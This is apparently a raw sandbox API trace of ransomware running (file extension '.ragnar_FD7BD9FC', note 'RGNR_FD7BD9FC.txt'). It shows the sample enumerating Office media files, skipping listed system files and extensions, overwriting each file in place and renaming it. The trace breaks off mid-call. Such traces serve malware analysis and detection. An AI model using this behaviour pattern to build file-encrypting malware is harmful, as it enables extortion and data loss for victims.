1 [0096.013] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.013] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf")) returned 0x20 [0096.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.014] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4880) returned 1 [0096.014] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1307, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.014] GetProcessHeap () returned 0x580000 [0096.014] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.014] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.016] VirtualAlloc (lpAddress=0x0, dwSize=0x1310, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.016] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.016] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.016] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1310, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1310, lpOverlapped=0x0) returned 1 [0096.017] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.017] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1310, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.017] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1310, lpOverlapped=0x0) returned 1 [0096.017] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1310, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.017] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.017] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1310, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.017] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.017] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.017] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.017] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.017] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.018] GetProcessHeap () returned 0x580000 [0096.018] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.018] CloseHandle (hObject=0x104) returned 1 [0096.018] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" [0096.018] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.ragnar_FD7BD9FC" [0096.018] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.018] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0096.018] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.018] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0299763.WMF" | out: lpString1="J0299763.WMF") returned="J0299763.WMF" [0096.018] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF") returned=".WMF" [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="autorun.inf") returned 1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="boot.ini") returned 1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="bootfont.bin") returned 1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="bootsect.bak") returned 1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="bootmgr") returned 1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="bootmgr.efi") returned 1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="bootmgfw.efi") returned 1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="desktop.ini") returned 1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="iconcache.db") returned 1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="ntldr") returned -1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="ntuser.dat") returned -1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="ntuser.dat.log") returned -1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="ntuser.ini") returned -1 [0096.019] lstrcmpiW (lpString1="J0299763.WMF", lpString2="thumbs.db") returned -1 [0096.019] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.019] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.019] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.019] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.019] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.019] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.019] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf")) returned 0x20 [0096.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.020] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17186) returned 1 [0096.020] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4319, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.020] GetProcessHeap () returned 0x580000 [0096.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.020] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.021] VirtualAlloc (lpAddress=0x0, dwSize=0x4322, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.021] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.021] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.021] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4322, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4322, lpOverlapped=0x0) returned 1 [0096.023] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.023] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4322, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.023] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4322, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4322, lpOverlapped=0x0) returned 1 [0096.023] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4322, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.023] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.023] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.023] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.023] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.023] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.023] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.024] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.024] GetProcessHeap () returned 0x580000 [0096.024] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.024] CloseHandle (hObject=0x104) returned 1 [0096.024] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" [0096.024] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.ragnar_FD7BD9FC" [0096.024] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.024] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0096.024] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.024] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0300520.GIF" | out: lpString1="J0300520.GIF") returned="J0300520.GIF" [0096.024] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF") returned=".GIF" [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="autorun.inf") returned 1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="boot.ini") returned 1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="bootfont.bin") returned 1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="bootsect.bak") returned 1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="bootmgr") returned 1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="bootmgr.efi") returned 1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="bootmgfw.efi") returned 1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="desktop.ini") returned 1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="iconcache.db") returned 1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="ntldr") returned -1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="ntuser.dat") returned -1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="ntuser.dat.log") returned -1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="ntuser.ini") returned -1 [0096.025] lstrcmpiW (lpString1="J0300520.GIF", lpString2="thumbs.db") returned -1 [0096.025] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0096.025] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0096.025] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0096.025] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0096.025] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0096.025] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0096.025] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0096.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif")) returned 0x20 [0096.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.026] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13413) returned 1 [0096.026] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x345c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.026] GetProcessHeap () returned 0x580000 [0096.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.026] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.027] VirtualAlloc (lpAddress=0x0, dwSize=0x3465, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.028] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.028] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.028] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3465, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3465, lpOverlapped=0x0) returned 1 [0096.029] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.029] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3465, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.029] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3465, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3465, lpOverlapped=0x0) returned 1 [0096.029] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3465, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.029] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.029] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3465, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.029] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.029] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.029] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.030] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.030] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.030] GetProcessHeap () returned 0x580000 [0096.030] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.030] CloseHandle (hObject=0x104) returned 1 [0096.030] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" [0096.030] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.ragnar_FD7BD9FC" [0096.030] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.031] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0096.031] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.031] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0300840.WMF" | out: lpString1="J0300840.WMF") returned="J0300840.WMF" [0096.031] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF") returned=".WMF" [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="autorun.inf") returned 1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="boot.ini") returned 1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="bootfont.bin") returned 1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="bootsect.bak") returned 1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="bootmgr") returned 1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="bootmgr.efi") returned 1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="bootmgfw.efi") returned 1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="desktop.ini") returned 1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="iconcache.db") returned 1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="ntldr") returned -1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="ntuser.dat") returned -1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="ntuser.dat.log") returned -1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="ntuser.ini") returned -1 [0096.031] lstrcmpiW (lpString1="J0300840.WMF", lpString2="thumbs.db") returned -1 [0096.031] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.031] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.031] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.031] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.031] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.031] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.031] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf")) returned 0x20 [0096.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.032] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9116) returned 1 [0096.032] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2393, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.032] GetProcessHeap () returned 0x580000 [0096.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 